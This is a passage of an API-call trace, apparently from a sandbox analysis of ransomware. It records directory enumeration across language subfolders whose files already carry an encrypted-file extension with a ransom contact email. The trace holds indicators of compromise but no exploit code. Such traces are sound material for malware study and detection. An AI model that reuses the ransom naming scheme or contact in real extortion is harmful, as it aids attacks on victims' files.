cAlternateFileName="")) returned 0x6eb7b0 [0241.856] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.856] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x327d2b17, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x327d2b17, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3339b5ca, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0241.857] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x327f8d0f, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x327f8d0f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x32929fea, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0241.857] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3158df3a, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3158df3a, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31a8fb46, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0241.858] FindNextFileW (in: hFindFile=0x6eb7b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3158df3a, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3158df3a, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31a8fb46, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0241.858] FindClose (in: hFindFile=0x6eb7b0 | out: hFindFile=0x6eb7b0) returned 1 [0241.860] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0241.860] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1 [0241.860] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec4b0 [0242.176] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.188] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x32929fea, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x32929fea, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x334802c1, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.189] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x329502eb, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x329502eb, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3358b47f, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x12dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.189] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31626a79, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31626a79, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31794acf, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.189] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31626a79, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31626a79, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31794acf, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.189] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0242.197] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0242.197] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1 [0242.197] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec1f0 [0242.198] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.198] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3297656d, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3297656d, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3378c8e7, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.198] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x333c175d, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x333c175d, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3345a0b1, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x14516, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.199] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31672f7c, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31672f7c, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31794acf, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.199] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x31672f7c, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x31672f7c, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31794acf, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.199] FindClose (in: hFindFile=0x6ec1f0 | out: hFindFile=0x6ec1f0) returned 1 [0242.200] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0242.200] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1 [0242.200] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6eb8f0 [0242.201] FindNextFileW (in: hFindFile=0x6eb8f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.202] FindNextFileW (in: hFindFile=0x6eb8f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x334802c1, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x334802c1, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3353ee61, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x1bb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.202] FindNextFileW (in: hFindFile=0x6eb8f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x334a6498, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x334a6498, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x33623d35, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x11a86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.202] FindNextFileW (in: hFindFile=0x6eb8f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x317bad5b, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x317bad5b, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31916819, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.202] FindNextFileW (in: hFindFile=0x6eb8f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x317bad5b, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x317bad5b, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x31916819, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.202] FindClose (in: hFindFile=0x6eb8f0 | out: hFindFile=0x6eb8f0) returned 1 [0242.203] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0242.203] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1 [0242.203] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec4f0 [0242.204] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.204] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3353ee61, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3353ee61, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x336701c9, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x1184, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.205] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3358b47f, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x3358b47f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x336701c9, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x152a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.205] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x317bad5b, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x317bad5b, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x318ec079, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.205] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x317bad5b, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x317bad5b, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x318ec079, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.205] FindClose (in: hFindFile=0x6ec4f0 | out: hFindFile=0x6ec4f0) returned 1 [0242.206] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0242.206] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1 [0242.206] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec270 [0242.207] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.207] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x337eda58, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x337eda58, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x339dd814, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="EULART~1.COM")) returned 1 [0242.207] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x33813ac8, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x33813ac8, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x33b0e998, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x139b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="LOCALI~1.COM")) returned 1 [0242.208] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x327f8d0f, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x327f8d0f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x328916a9, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 1 [0242.208] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x327f8d0f, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x327f8d0f, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x328916a9, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="SETUPR~1.COM")) returned 0 [0242.208] FindClose (in: hFindFile=0x6ec270 | out: hFindFile=0x6ec270) returned 1 [0242.209] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0242.209] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1041", cAlternateFileName="")) returned 1 [0242.209] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebf30 [0242.210] FindNextFileW (in: hFindFile=0x6ebf30, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, 